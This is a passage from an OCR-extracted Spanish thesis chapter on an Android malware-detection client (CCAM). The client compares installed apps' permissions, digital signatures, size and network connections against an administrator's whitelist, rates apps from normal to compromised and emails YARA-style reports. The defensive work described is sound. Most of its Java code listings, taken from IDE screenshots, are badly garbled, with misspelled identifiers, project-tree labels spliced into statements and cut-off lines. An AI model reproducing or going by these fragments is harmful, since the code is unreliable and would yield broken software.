private Fermissionl Dzo permissiol nbao;
private RddressDac addressbac
private VersionDac versionDao;

private ApplicationByVersionDao appVerbDao:

public DatabaseService (CONTEXT context){
this.nContext = context;
Log.1(TAG, mso: "DatabaseService: Constructor’);
¥ po = this.nContext.getPackageManager () ;
= this.mContext 0:

DatabaseService > DatabaseService()

Figura 5-42. Clase DatabaseService. (Fuente: Propia).
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Hilos de CCAM

Para la creacion de los hilos se utilizé la clase AsyncTaskLoader. La Figura 5-43 muestra el
cbdigo de esta clase.

Android = © & | #- I+ sAdapterjave e E5\strings.xml € IssuePermission.java € IssueSignature.java € lIssueTrafficjava € DatabaseServii
v [app package co.com.commitmentindicators.ammclient.loaders;
> manifests
v [ java import.
+ [ co.com.commitmentindicators.ammelient o
N it public class Appsloader extends piabrlota b cHashMap<MyhpplicationInfo, ApplicationByVersion>> {
activities
> adapters private HashMap<MyApplicationInfo,ApplicaticnByVersion> c H
> db private static final String TAG = Appsloader.class.getSimpleName () :
> holders public static final String ACTION = "apps.FORCE";
~ [ loaders
rivate Resources res:
€ AppsLoader P

private DatabaseService databaseService;
€ DetailPermissionLoader

€ PermissionsLoader static WeakReference<MainActivity> mActivity;
€ SignaturesLoadler

© TrafficLoader public AppsLoader (Mainketivity context) |

Figura 5-43. AsyncTaskLoader para la creacién de hilos. (Fuente: Propia).

Funcién de los cuatro hilos

Escanear: ejecuta el escaneo de los cuatro hilos. La Figura 5-44 ilustra el escaneo de los cuatro
hilos del cliente CCAM.

AMM Client

ESCANEAR

Administracién de Aplicaciones Mdviles

plicaciones

Metadatos: Firmas Digitales, Tamafio

Estaticos: Permisos

Dindmico: Trafico

Figura 5-44. Ejecucion de los cuatro hilos. (Fuente: Propia).
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Hilo 1: Recupera las aplicaciones por defecto configuradas en la base de datos, para luego ser
desplegadas en la actividad de lista de aplicaciones. La
Figura 5-45 muestra el cédigo de la funcién loadinBackground.

Boverride

€ AppsLoader

€ DetailPermissionLoader
€ PermissionsLoader

€ SignaturesLoader

€ TrafficLoader

> model

> services
> co.com.commitmentindicators.ammclient
> co.com.commitmentindicators.ammclient.t

public HashMap<MyApplicationInfo, ApplicationByVersion> loadInBackground() {

Log.i{TAB, msg: "loadInBackground: Estoy en thread: " + Thread.currentThread().getName());
HashMap<MyApplicationInfo,ApplicationByVersion> data = new HashMap<~>();
if (databaseService == null) {

databaseService = new DatabaseService (getContext());
}
databaseService.initDB({);
data = databaseService.getAppByVerHashMap (PackageManager.GET META DATA);
return data;

Figura 5-45. Funcién loadInBackground, donde se recuperan las aplicaciones por version. (Fuente:
Propia).

Hilo 2: Recupera los I0Cs estéticos, permisos de las aplicaciones por defecto configuradas en
la base de datos y las compara con los permisos de la aplicaciéon instalada. Cuando se
encuentran diferencias se crea un objeto IssuePermissons que contiene los permisos oficiales
de aplicacién y los permisos no encontrados en la aplicacién instalada. La Figura 5-46 muestra
el cédigo de la funcién LoadinBackground que crea el objeto IssuePermissons, donde se recuperan
los permisos de la base de datos y luego se compara con los permisos por aplicacién.

Android - Q % | H- I+ pnjava € IssueSignature java € IssueTraffic.java € DatabaseService.java € AppsLoaderjava c caderjava € sig oaderjava * |-=4
v app int cont = 1:
> manifests Packagelnfo packagelnfo = null;

PackageManager pm = this.getContext () .getPackageManager();
for (Map.Entry <MyApplicationInfo,RpplicationByVersion> appByVer: mRppaByVer.entrySet()){
final int progress = conti+;

v I java

A co.com.commitmentindicators.ammclient

> [ activities et () 1= mull)(
> adapters 1 m ) .run6nUiThread ({) — [
> Budb ity.get{) .gecProgr ions() . (progress) ;
> I3 holders , n:
~ loaders MylhpplicationInfo mykppInfo = () ByVer.getKey()
€ AppsLoader pplicationByVersion = =icn) appByVer.getValue();
€ DetailPermissionLoader String packagelame = myAppInfo.gecPac
€ PermissionsLoader try {
& SignaturesLoader packagel pr.getPackageTnfo (packagelians, Packagelanager. GET PERMISSIONS) ;
€ TrafficLoader o S o
String(] nfo.requestedPermissions;
> model if (requestedPermissions == mull){
> services Log.i(TAG, msg: "No se encontraron permiscs para la app " + myhppInfo.getlabel());
> [ co.com.commitmentindicators.zmmclient continue;
> co.com.commitmentindicators.ammclient.t }
> BRassets Se recuperan los permisos de la BD
HashMap<String, Permission> dbPermissions = service.getPermissionByApplicati fersion fer.getId()) ;
> MEres
if (dbPermissions.size() == 0){
> greendao-gen Log.i(TAG, mMsQ: "No eXisten permisos configurados para " + myAppInfo.getlabel()):
> (& Gradle Scripts continue;
1
Log.i(TAG, msg: "Se recuperaron " + dbPermissions.size() + " permisos configurados desde la ED"):
B ng, String> dbPermissionslssue = new HashMap<->({)7

for (Map.Entry <String, Permission> entry : dbPermissions.entrySet()){
String key = entry.getKey();
dbPermissionslssue.put (key, key) ;

Figura 5-46. Funcién LoadlnBackground que crea el objeto IssuePermissons. (Fuente: Propia).

Hilo 3: Recupera los I0OCs metadatos: firmas digitales SHA1, MD5 y tamafio de las aplicaciones
por defecto configuradas en la base de datos y las compara con los metadatos de la aplicacion
instalada; cuando se encuentran diferencias se crea un objeto IssueSignatures que contiene los
metadatos oficiales de aplicacion y los metadatos no encontrados en la aplicacion instalada.
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La Figura 5-47 muestra el codigo de la funcién loadinBackground que crea el objeto
IssueSignatures, donde se recuperan las firmas y tamafio de la base de datos y luego se compara
con las firmas y tamafio por aplicacion.

Andiroid © © % - 1- bnjav | © lsueSignaturejava | © IssueTrafficjava < | € D ® AppeLood o = © SignaturesLoadk

v [app nt cont = 1;
> 1 manifests '} pm = this
PackageInfo packagelnfo = null;

for (Map.Entry <MyAppli
MyApplicationIngo myAPP:
N .

5tring atzMdS = LEmpADPBYVer.getMds ()i

}
Log.i(TAG, ms: "loadInBackground: package:” + myAppInfo.getPackageliame() + ", md3:" + stridS);
try {
String packagelame = myAppl
packag =3

getPackageNane () ;
£ i

ne T ) BT
o arpInfo = pm.getipplicationinfo(packagellame, © 07

Length) ;

> [liigreendao-gen
> (& Gradle Scripts

Figura 5-47. Funcién loadlnBackground que crea el objeto IssueSignatures. (Fuente: Propia).

La Figura 5-48 muestra el cédigo que se encarga de comparar el valor de la firma SHA-1 oficial
configurada en la base de datos de la consola ACAM con la firma SHA-1 detectada de la
aplicacion instalada en el teléfono inteligente.

e 1 pojvs | @ tsueSignaturejova - | © lsueTfficjave - | © Do B Appetoaderjava 1| 8 Pemissonsloaderarail| © Ssnatuestoaderjos < |24

ETITH

Figura 5-48. Comparacion del SHA-1. (Fuente: Propia).

Hilo 4: Recupera los IOCs dinamicos: direcciones de red IPv4 e IPv6 de las aplicaciones
configuradas en la base de datos y las compara con las direcciones solicitadas de la aplicacion
instalada; cuando se encuentran diferencias se crea un objeto IssueTraffic que contiene las
direcciones oficiales de la aplicacion y las direcciones no encontradas en la aplicacion instalada.

La Figura 5-49 muestra el cédigo de la funcién loadinBackground que crea el objeto IssueTraffic
donde se recuperan las direcciones IPv4 e IPv6 de la base de datos y luego se compara con las
direcciones IP leidas del log de Network Connections.
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' Android - - 1 jurejava € lssuTrafficjava € Datak e java ® AppsLoaderjava € PermissionsLoader.java € SignaturesLoaderjava © TrafficLoaderjava
v Iz app -
> [ manifests e =
of public Arraylist<IssueTraffic> loadlnBackground() {
v .
Java Log.i({TAG, msg: "loadInBackground: Estoy en thread: " + Thread.currentThread().getName());
+ [ co.com.commitmentindicators.ammelient Arraylist<Issuelraffics data — new ArrayList<e>():
> [0 activities if (databaseService == null) [
> [0 adapters ice = nev ice (getContaxt()):
> Bade i
databaseService.initDB();
> N holders : ). ) 5
hMap<dyApplicationInfo, BashMap ng,Addressy> mAppByVerhddress = rvice. 0:
v loaders Log.i(TAG, msg: "loadInBackground: r " + mAppByVe -3ize )

€ AppsLoader

n

DetailPermissionLoader

n

PermissionsLoader

HashMap<String, HashMap<String, NetwerkConnection>> networkConnectionlog = readlogs():
if (networkConnectionlog == null){

© SignsturesLoader Log.i{TAG, msg: "loadInBackground: No existe archivo"):
X if (m y.get() = mull){
€ TrafficLoader
String message = "Don't exists file" + " " + Constant.NETWORK CONNECTIONS;
> model mActivity.get() .showMessage (message) ; -
> services 1
> co.com.commitmentindicaters.ammclient ( return data;
> [ co.com.commitmentindicators.ammclient.£ b
N sesete Log.i(TAG, msg: "loadInBackground: networkConnectionlog size:" + networkConnectionlog.size()):
if (networkConnectionlog.size() == 0){
> res Log.i(TAG, msg: "loadInBackground: ");
> liiigreendao-gen return data;
> (2 Gradle Scripts 1
if (mdc v.get({) != null}{
ProgressBar progressBarlraffics = mac get () .getProgressBarTraffica();
raffics.setMax (MEDpBYVe .size()):
progressBarTraffics.setProgress(0);
}

Figura 5-49. Funcién LoadInBackground que crea el objeto IssueTraffic. (Fuente: Propia).

muestra el cédigo de la funcién readlogs que permite leer el log de Network Connections.

i Android - 0 | #- I* wrejava € IssueTrafficjava

v [ app @

€ DatabaseServicejava € AppslLoader.java € PermissionsLoader,java € SignaturesLoader.java

private HashMap<String,HashMap<String,NetworkConnection>> readlogs() {

3 manifests ¥ HashMap<String, HashMap<String, NetwerkConnection»> data = new HashMap<->();
v W java File networkconnection = searchFileHetworkConnections();
. "
~ [ co.com.commitmentindicators.ammclient if (inetworkconnection.exista()]{
o Log.i(TAG, msg: "readlogs: No existe el archivo");
> activities
return mull;
> adapters )
> db networkconnection. setReadonly () ;
> holders Log.1(TAG, msg: "readlLogs: encentre archivo:" + networkconnection.getAbsclutePath()):
v I loaders FileInputStream fileReader = null;

€ AppslLoader ey
fileReader = new FileInputStream{networkconnection.getibsclutePath());
Bu: redReader reader = new Bl eredReader (new InputStreamReader (fileReader));
String line;
boolean firstline = true;
while ((line = reader.readline()) '= null){

€ DetailPermissionLoader

€ PermissiensLoader
€ SignaturesLoader
€ TrafficLoader

5 model Log.1{TAG, msg: "readlogs: leyendo:" + line };
R if (firstLine){
? services Log.i(TAG, m:i0 "readlogs: Linea de encabezados omitida};
> co.com.commitmentindicators.ammclient | firstline = false;
> co.com.commitmentindicators.ammclient.t continue;
> assets }
> res Log.1{TAG, msg: "readLogs: " + line);

String[] row = line.split(
if (row.length < 5}{
continue;

> [ greendao-gen
> (2 Gradle Scripts

Figura 5-50. Funcién readlogs. (Fuente: Propia).

Cuando los cuatro hilos terminan se inicia la actividad listAppsActivity, que se encarga de
mostrar los resultados del escaneo. La Figura 5-51 muestra el cédigo de la actividad.
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© DatabaseSenvicejava

€ AppsLoaderjava

© PermissionsLoaderjava

© SignaturesLoaderjava ~ | (© TrafficLoaderjava

Android = O %= | -
v [mapp o
> manifests
v M java
v co.com.commitmentindicators.ammclient
v activities

€ ConfigEmailAdminActivity

public class Li: ivity extends

private RecyclerView recyclerView:

CompatActivity [

private RecyclerView.LayoutManager mLayoutManager;
private static HashMap<MyApplicationInfo, ApplicationByVersiony apps:

private ArrayListcMyhpplicationlnfo> keys:
private Appshdspter appsAdapter;

62

€ ConfigIPActivity

€ DetailappsActivity private static final String TAG = Li ivity.class.getSizplellane () ;

€ DetailPermissionsActivity

€ DetailSignaturesActivity N "

a of protected void onCreate (Bundle savedInstanceState) [

DetailTrafficActivity super.onCreate {savedInstanceState) ;

€ ListAppsActivity setContentView (R.1ayout.activity 1ist apps):

€ ListlssueActivity initComponents () ;

€ ListSignatureslssuesActivity 1

€ ListTrafficlssuesActivity

€ MainActivity N

€ NoProblemActivity L

€ SplashActivity private void initComponents{) [

© TestActivity apps = Appstiolder.gstinstance().retrieve( ¢ "appsHolder”);
> 0 adapters if (apps != mull){
s B keys = new ArrayList o>{apps.keySet(});
> hold Collections. sort

olders recyclerView /) findViewById(R.id.list installed apps);
> loaders = new ,onAppClick) ;
> B model
> services mL = new Li L context: this);

recyclerView. setLayoutManager (mLayoutkianager) ;
TecyclerView. setAdapter (appshdapter) ;

> co.com.commitmentindicators.ammclient |

> co.com.commitmentindicators.ammelient.

Figura 5-51. Inicio de la actividad listappsactivity. (Fuente: Propia).

La Figura 5-52 muestra la interfaz de la actividad listappsactivity en el cliente CCAM

o0 Genymotion for personal use - Motorela Moto X..  — m} X

<  CAMClient

Lista de Apps Calificacién

TransportMTL 14
net.rhatec.amtmobile

Ver Acciones Mormal

WhatsApp
com.whatsapp m

Ver Acciones Comprometide

Figura 5-52. Pantalla con el resultado del escaneo. (Fuente: Propia).

Como funciona CCAM
La primera actividad tiene dos funciones: Menu principal y boton escanear.
Menu principal

La Figura 5-53 muestra la interfaz de la primera actividad del cliente CCAM, en la cual se
encuentra el mena de administracion de aplicacion.
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CAM Cli 1Conﬁgurar correo administrador

Configurar IP Servidor

3 ; -
Adni  Actualizar firmas oficiales

€© (] —!

Figura 5-53. Menu principal CCAM. (Fuente: Propia).
Configurar correo del administrador
En este campo se configura la direccion de la cuenta de correo del administrador de la consola

ACAM, para reportar las detecciones de aplicaciones comprometidas en un formato de regla
YARA. La Figura 5-54 muestra la interfaz de configuracion del correo.

o0 Genymotion for personal use - Motorola Moto X..  — O *

&« CAM Client

Configuracién email

bmmpmsi@gmail.com

GUARDAR

Figura 5-54. Configuracion del email del administrador. (Fuente: Propia).
Configurar IP Servidor
En este campo se configura la direccion IP de la consola de administracion ACAM, para

descargar las firmas de la lista blanca de las aplicaciones oficiales. La Figura 5-55 muestra la
interfaz de configuracion del correo.
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°0 Genymotion for personal use - Motorola Mote X...  — O *

< CAM Client

Direccion IP

Lo

http://192.168.0.24:8000/

GUARDAR

Figura 5-55. Configuracion de la IP del servidor de ACAM. (Fuente: Propia).

Actualizar firmas oficiales

Esta funcién actualiza la base de datos de las firmas de las aplicaciones oficiales en cliente
CCAM. La Figura 5-56 muestra la notificacion de la descarga exitosa de las firmas de la consola
ACAM.

20 Genymotion for personal use - Motorola Moto X ... — [m] X
% T4 H12:52 g

CAM Client H
ESCANEAR (o]

Administracion de Apli Moviles

©
=
=l
[

Figura 5-56. Actualizacion de la base de datos del administrador. (Fuente: Propia).
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Escanear ejecuta el escaneo de las aplicaciones configuradas en el administrador con los
cuatro hilos anteriormente mencionados.

La Figura 5-57 muestra la ejecucion del escaneo de cuatro hilos en cliente CCAM en el
teléfono inteligente.

o0 Genyrmotion for personal use - Motorola Meto X, — [m] X
CAM Client
ESCANEAR (o]
Administracion de Aplicaciones Moviles
Escaneando indica de compromiso de las aplicaciones
1staladas en el dispositivo movil, espere por favor
Metadatos: Firmas Digitales, Tamafio
Estaticos: Permisos
b=
Dinamico: Trafico
=
=l

Figura 5-57. Escaneo en ejecucién. (Fuente: Propia).

Actividad de resultados

Muestra el resultado del escaneo de las aplicaciones configuradas en el administrador en dos
columnas lista de aplicaciones y calificacion. La Figura 5-58 muestra el resultado del escaneo
del dispositivo movil con el cliente CCAM.

=0 Genymotion for personal use - Motorola Moto X..  — [m| X

< CAM Client

Lista de Apps Calificacion
TransportMTL Q
net.rhatec.amtmobile
Ver Acciones Nogmal

WhatsApp
w com.whatsapp m
Ver Acciones Comprometide

Figura 5-58. Resultados de escaneo. (Fuente: Propia).
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La calificacion tiene cuatro resultados: Normal, investigar, sospechoso y comprometido, cada
resultado tiene un color asociado como se muestra a continuacién segun los IOCs detectados.

Normal: la aplicacion no tiene eventos operativos diferentes a los I0Cs configurados en la
base de datos de lista blanca del administrador ACAM.

La aplicacion tiene un evento operativo no configurado en la lista blanco de
IOCs estéticos, dinamicos o de metadatos en el tamafio de la aplicacion.

La aplicacion tiene mas de un evento operativo no configurado en la lista blanco
de I0Cs estaticos, dinAmicos o de metadatos en el tamafio de la aplicacién.

Comprometido: la aplicacion tiene un problema de integridad con los metadatos de las
firmas: SHAL1 o MD5 o genero mas de un evento operativo en los indicadores de compromiso
estéticos y dinamicos.

Correlacion de eventos algoritmo de resultados

El algoritmo de correlaciéon funciona con la l6gica del codigo de colores mencionada
anteriormente, La Figura 5-59 muestra el cddigo del algoritmo de correlacién de la plataforma
CAM.

Android - @ & | #- 1 | gstringsxml € Utiljava
7 TOATErs =
v model public class Util {
€ AppsHolder g
& Closer private static final String TAG = Util.class.getSimpleName () ;
€ Constant
@ public static int

rStats (MyhpplicationInfo myApplnfo, Resources res){
€ DatabaseHelper :

€ lssue u int color emer res.getColor (R.color. color stats emergency):
€ IssuePermission int color_danger = res.getColor (R.color.color stats danger);

© IssueSignature int color _preventicn = res.getColor (R.color.color stats_preventiom):
© IssucTraffic int color_normal = res.getColor(R.color.color stats normal];

% Jarafile

€ Myhpplicationlnfo
€ MylaraFile

Arraylist<IssueSignature> issueSignatures = null:
c MypElm\SS\DﬂlﬂFD RrraylList<IssuePermission> issuePermissions null;
€ MetworkConnection Arraylist<IssueTraffic> issueTraffics = null ;

T Preference

issueSignatures = IssueSignatureHolder.gstT.
issuePermissions = IssuePermissiondolder.ge
issueTraffics = IssueTraficHolder.getInstan

ance () .retrieve( id: "issusSignatures’);:
stance() .retrieve( id: "issuePermissions"):
).retrieve( id: "issueTraffics”);

€ ProcessStatus
€ ProcNetTcp
€ ShellExecuter
€ utl int cont = 0;
€ ZipManager

> services if (issueSignatures == null || issuePermissions == null || issueTraffics == null){

return color_normal;
1

> co.com.commitmentindicators.camclient (test

> co.com.commitmentindicators.camclient.tests (andf

Figura 5-59. Algoritmo de correlacién de eventos. (Fuente: Propia).

La Figura 5-60 muestra el cédigo del algoritmo de resultados de la plataforma CAM.
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Android - @ = | K- I | gy stringsxml € Utiljava
¥ maers

v [0 model
€ AppsHolder
® Closer if (issueSignatures = null || issuePermissions == null || issueTraffics = mull)(
return color_normal;
€ Constant -

¥

int cont = 07

€ DatabaseHelper
€ Issue

if {issueSignatures !'= mull && issuePermissions !'= null &s issueTraffics '= null){
€ IssuePermission if (issueSignatures.size() == 0 s& issuePermissions.size() == 0 & issueTraffics.size() == 0){
€ IssueSignature return color_normal;
€ lssueTraffic ]
£ JarzFile .
) IssueSignature issusSignature = Util.findl nfo, issueSignatures) ;
€ MyApplicationinfo

if (issueSignature != null){
€ MylaraFile

if (issueSignature.getSignature good{) '= null || issueSignacure.gethds_good() '= mull }{
& MyPermissioninfo return color_emergency;
€ NetworkConnection }
) Preference if (issueSignature.getSize_good() > 0){
€ Processstatus ) cont=1?
€ ProcNetTep ;
© ShellExecuter
e usi I ton 1 fon = Util.finar nfo, 1 ss10ms);
& ZipManager if (issuePermission != null){
DN semvices if (issuePermission.gecPermissionsNotFound().size() > 0) [
> [% co.com.commitmentindicators.camelient (text ) conwi=ls
> co.com.commitmentindicators.camclient.tests (sndy ]
> assets

Figura 5-60. Algoritmo de resultados. (Fuente: Propia).

Las imagenes muestran el algoritmo de la calificacion de las aplicaciones escaneadas con las
categorias: Normal, Comprometido como fue mencionado
anteriormente, el color se debe a que la plataforma CAM maneja dichas tonalidades para notificar
los IOCs detectados en las aplicaciones comprometidas con base al algoritmo de correlacion.

Acciones

CCAM Tiene dos menus de acciones segun la calificacién de la actividad de resultados

Menul de acciones si la calificacion de la aplicacién es Comprometido, o]
La Figura 5-61 muestra el menu de acciones CCAM.

o0 Genymotion for personal use - Motorola Meto X, — [m]

& T4l 12:56

X
"

€&  CAM Client

Lista de Apps Calificacion
TransportMTL Q
net.rhatec.amtmobile
Ver Acciones Morrnal

WhatsApp

w com.whatsapp m

Ver Acciones Comprometide

Detalles 10C
Ignorar
A=
Reportar por correo
. =
Desinstalar
=1

Figura 5-61. MenU de acciones de CCAM. (Fuente: Propia).
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Detalles 10C

Muestra al usuario los IOCs detectados en la aplicacion instalada en el dispositivo que no
estan configurados en la base de datos de lista blanca de aplicaciones oficiales: Estéticos,
Dindmicos y Metadatos.

La Figura 5-62 muestra la interfaz de detalles de 10Cs.

o0 Genymotion for personal use - Motorola Mote X, — O x

< CAM Client

Ver detalle 10C

o fo £

w Estatico Dinamico Metadatos
6 3 3

Descripcion detallada 10C

L0,

Estatico: Permisos
Dinamico: Trafico activo de la aplicacion

Metadatos: Firmas digitales, tamano de la app

Figura 5-62. Pantalla de detalles de 10C. (Fuente: Propia).

IOCs Estéaticos

Muestra los permisos con tres resultados: Permisos oficiales, Permisos detectados y Permisos
con problemas y una clasificacion de permisos por colores en funcion de los niveles de proteccion
de los desarrolladores de Android: Peligrosos, Normales, fabricantes, firmas, firmas o sistema y
obsoletos

La Figura 5-63 muestra la interfaz IOCs estaticos del cliente CCAM.
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o0 Genymotion for persenal use - Motorola Meto X ..

< CAM Client

Permisos
WhatsApp

w Permisos Oficiales:52
Permisos detectados:58

Permisos con problemas:6

del usuario

privacidad del usuario o el

de sistema

encuentra obsoleto

Clasificacion de permisos por colores en funcion de los
niveles de proteccion de los desarrolladores de Android

Peligrosos: Tu App requiere datos o recursos
que incluyen informacion privada

Tu App tiene un riesgo MiNIMo para
la privacidad del usuario o el
funcionamiento de otras apps.

Tu App tiene un permiso de tercero,
de riesgo moderado, para la

funcionamiento de otras apps.
Tu App tiene un permiso de firma
Tu App tiene un permiso de firma o

Tu App tiene un permiso gue se

Deteccién de malware en Android a
partir de la correlacion de eventos

Figura 5-63. Interfaz de IOCs estaticos de CCAM. (Fuente: Propia).

Permisos oficiales

Muestra los permisos oficiales de la Play Store configurados en la lista blanca del

administrador.

La Figura 5-64 muestra la Interfaz de permisos oficiales del cliente CCAM.
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o0 Genymotion for personal use - Motorola Moto X, — O

&« CAM Client

Permisos

BUSCAR CUENTAS EN EL DISPOSITIVO
android.permission.GET_ACCOUNTS

Descripcion

Permite que la aplicacion obtenga una lista de las cuentas
reconocidas por el dispositivo, entre las que se pueden
incluir las cuentas creadas por las aplicaciones que hayas
instalado.

Figura 5-64. Interfaz de permisos oficiales configurados del cliente CCAM. (Fuente: Propia).

Permisos detectados

Muestra los permisos detectados en la aplicacion instalada en el dispositivo movil recuperados
del Packagelnfo.resquestedPermissions, El codigo se muestra en el hilo respectivo a los
permisos.



71 Deteccién de malware en Android a
partir de la correlacion de eventos

La Figura 5-65 muestra la Interfaz de permisos detectados del cliente CCAM

o0 Genymotion for personal use - Motorola Moto X, — O

< CAM Client

) ~ Permisos
com.huaweil.android.launcher.permission. WRITE_SETTI Q

NGS

com.huawei.android.launcher permission WRITE_SETTI
NGS

Descripcion
Permiso de fabricante

com.huawei.android.launcher.permission.CHANGE_BA
DGE

com_huawei_android. launcher permission.CHANGE_BA
DGE

Descripcion

Permiso de fabricante
COM.WHATSAPP.PERMISSION.BROADCAST
com.whatsapp.permission. BROADCAST

Descripcion =
Descripcidn no definida
COM.WHATSAPP.PERMISSION.C2D_MESSAGE ]
com.whatsapp.permission.C2D_MESSAGE

Descripcion =i

Descripecidn no definida

Figura 5-65. Interfaz de permisos detectados del cliente CCAM. (Fuente: Propia).

Permisos con problemas

Muestra los permisos no encontrados y/o no oficiales detectados en la aplicacion instalada
gue no estan configurados en la lista blanca del administrador ACAM.

La Figura 5-66 muestra la interfaz permisos con problemas del cliente CCAM
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20 Genymotion for personal use - Motorola Moto X...  — O

% <. M 01:02

X
"

< CAM Client

Permisos
ESTABLECER PAPEL TAPIZ
android.permission SET_WALLPAPER
Descripcion
Permite que la aplicacion establezea el fondo de pantalla
del sistema.

Figura 5-66. Interfaz de permisos con problemas del cliente CCAM. (Fuente: Propia).

IOCs Dinamicos

Muestra las direcciones IPV4 e IPv6 sospechosas, que son utilizadas por la aplicaciéon que no
estan configuradas en la base de datos del administrador ACAM, como direcciones registradas
del desarrollador.

La Figura 5-67 muestra la interfaz de trafico del cliente CCAM, con las direcciones IP
detectadas que no pertenecen al dominio del fabricante.

o0 Genymotion for personal use - Motorola Moto X...  — O

*
& <4 H01.04 g

€< CAM Client

Trafico
Direccion no se encuentra registrada: 192.168.0.41

0

Direccion no se encuentra registrada:192.168.0.10

Direccion no se encuentra registrada: 172.217.30.206

Figura 5-67. Interfaz de trafico de direcciones IP no registradas en el administrador. (Fuente: Propia).

Esta funcion de CCAM requiere un insumo de la aplicacion Network Connections, La Figura
5-68 muestra el icono de esta aplicacion.
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Network Con

Figura 5-68. Network Connections para el andlisis dinamico de red. (Fuente: Propia).
Esta aplicacion se puede descargar de Play Store tiene una version free y una de pago

En el ambiente de pruebas se estd usando la version de pago ya que la version free solo permite
exportar archivos de captura de 10 aplicaciones.

La Figura 5-69 muestra la interfaz de Connections Log de la aplicacion Network Connections.

20 Genymotion for personal use - Motorola Moto X... — O

Order by
Most Active

! Google Play Store Total Activity: 2m 23s

's' 172.217.28.106:443 Last: 5/14/2018 12:46 PM
T Servicios de Google Play Total Activity: 2m 7s

192.168.0.41:4444 Last 5/14/2018 01:53 PM
=/ WhatsApp Total Activity: Tm 35s

» 172.217.28.106:443 Last: 5/14/2018 01:53 PM
GOOg'E Play Store Total Activity: Tm 19s

- 172.217.30.195:443 Last: 5/14/2018 12:42 PM

W

> Descargas Total Activity: 1m 3s

Figura 5-69. Interfaz Connections Log de la aplicacion Network Connections. (Fuente: Propia).

Network Connections, permite monitorear y exportar el tréfico de las aplicaciones instaladas
en el dispositivo movil en un archivo, el cual es leido por CCAM para realizar la deteccion de las
direcciones IP que no estan configuradas en la lista blanca del administrador ACAM.
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La Figura 5-70 muestra el archivo Network Connections exportado con la aplicacion

Figura 5-70. Archivo exportado por Network Connections. (Fuente: Propia).

MNetworkCo
nnections.

Estructura del archivo exportado por Network Connections. como se ve en la

Record ID Local IP Local Port Remote IP Remote Port  Package:UID Last Seen Activity(sec.)
110.0.3.15 58726 172.217.28.109 443 com.google.android.googlequicksearchbox:10072  5/14/2018 12:46 PM 48
2/10.03.15 33677 74.125.141.139 443 com.google.android.googlequicksearchbox:10072  5/14/2018 12:46 PM 48
3100315 51713 172.217.28.106 443 com.google.android.talk: 10064 5/14/2018 12:42 PM 16
410.03.15 57646 172.217.30.195 443 com.google.android.talk: 10064 5/14/2018 12:42 PM 16
510.03.15 40480 216.58.222.234 443 com.google.uid.shared:10061:10061 5/14/2018 12:46 PM 144
6/10.03.15 60458 64.233.170.183 5228 com googleuid shared:10061:10061 5/14/2018 12:46 PM 32
7/10.03.15 55240 172217 30193 443 com.android.vending: 10070 5/14/2018 12:46 PM 544
8100315 52048 21658.222.202 443 com.google.uid.shared:10061:10061 5/14/2018 12:42 PM 16
9/10.0.3.15 34585 172.217.28.110 80 android.uid.system:1000:1000 5/14/2018 01:53 PM 48

10 10.03.15 37293 172.217.30.206 443 com.android.vending:10070 5/14/2018 12:46 P\ 144
11 10.03.15 34968 172.217.30.206 443 com.google.uid.shared:10061:10061 5/14/2018 12:42 PM 16
12 10.03.15 58654 172.217.28.106 443 com.android.vending:10070 5/14/2018 01:53 PM 80
13 10.03.15 60724 172.217.28.97 443 com.android.vending: 10070 5/14/2018 12:46 PM 160
14 10.03.15 48350 216.58.222.238 443 com.google.uid.shared:10061:10061 5/14/2018 01:53 PM 176
15 10.03.15 45869 104.198.14.52 443 com.koodous.android:10097 5/14/2018 12:46 PM 32
16 10.0.3.15 50942 172217 23106 443 android.media:10005:10005 5/14/2018 12:46 PM 32
17 10.03.15 51555 172217 28 110 443 com.google.uid.shared:10061:10061 5/14/2018 01:53 PM 40
18 10.0.3.15 42127 172.217.30.206 80 com.whatsapp:10096 5/14/2018 01:53 PM 48
19 10.0.3.15 34375 172.217.28.106 443 com.google.uid.shared:10061:10061 5/14/2018 12:46 P\ 128
20/10.0.3.15 33201 /192.168.041 4444 com.whatsapp:10096 5/14/2018 01:53 PM 96
2110.03.15 57687 216.58.222.232 443 com.google.uid.shared:10061:10061 5/14/2018 01:53 PM 46

Figura 5-71. Estructura del archivo exportado por Network Connections y leido por CCAM. (Fuente:

IOCs Metadatos

Propia).
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Muestra los metadatos no oficiales detectados en la aplicacion instalada que no estan en la

lista blanca del administrador ACAM, Firmas digitales SHA-1, MD5 y tamafio de la aplicacion.

La Figura 5-72 muestra la interfaz de metadatos firmas del cliente CCAM.
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Firmas

La firma digital shal no coincide con la firma del fabricante

AAF310DBD799

=T s N o |

Figura 5-72. Interfaz de metadatafirmas de CCAM. (Fuente: Propia).

Estos reportes eficientes buscan mostrar a los usuarios finales los eventos operativos maliciosos,
para que estos no solo vean una notificacion de advertencia o solo que la aplicacion contiene
malware, sino para mostrar a estos Ultimos los eventos operativos maliciosos (Permisos con
problemas, direcciones IP sospechosas y metadatos: SH-1, MD5 y tamafio) de la aplicacion
comprometida para que estos se familiaricen con los temas de la seguridad de la informacién y
apliguen contramedidas para mitigar los riesgos y salvaguardar su intimidad.

Ignorar: Borra la aplicacion detectada como maliciosa del resultado del dltimo escaneo.

La Figura 5-73 muestra el menu de acciones del cliente CCAM.
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o0 Genymotion for personal use - Motorola Moto X .. — O X
< CAMClient
Lista de Apps Calificacién
TransportMTL Q
net.rhatec.amtmobile
Ver Acciones Mormal
WhatsApp
b com.whatsapp M
Ver Acciones Comprometido
Detalles 10C
Ignorar
=
Reportar por correo
. !
Desinstalar
=l

Figura 5-73. Menu de acciones del cliente CCAM. (Fuente: Propia).

La Figura 5-74 muestra la pantalla de escaneo del cliente CCAM luego de usar la accioén ignorar,
si se vuelve a escanear el dispositivo el resultado va a mostrar la calificacién de todas las
aplicaciones configuradas en la consola de administracion ACAM detectadas en el dispositivo
movil.

=0 Genymotion for personal use - Motorola Moto X.. — O

X
% <. @01:00 =

< CAMClient

Lista de Apps Calificacion

O

TransportMTL
net.rhatec.amtmaobile

Ver Acciones Mormal

Figura 5-74. Pantalla de escaneo de CCAM luego de ignorar una aplicacién comprometida. (Fuente:
Propia).



77 Deteccién de malware en Android a
partir de la correlacion de eventos

Reportar por correo

Genera y envia un correo para reportar al administrador de ACAM de la deteccion de una
aplicacion con problemas de integridad y/o con eventos operativos maliciosos en formato de regla
Yara, las cuales se pueden compartir con la comunidad de analistas de malware de Android. La
Figura 5-75 muestra el menu de acciones del cliente CCAM.

/0 Genymotion for personal use - MotorolaMete X .. — O X

<  CAMClient

Lista de Apps Calificacién
TransportMTL o
net.rhatec.amtmobile
Ver Acciones Mormal

WhatsApp
com.whatsapp m
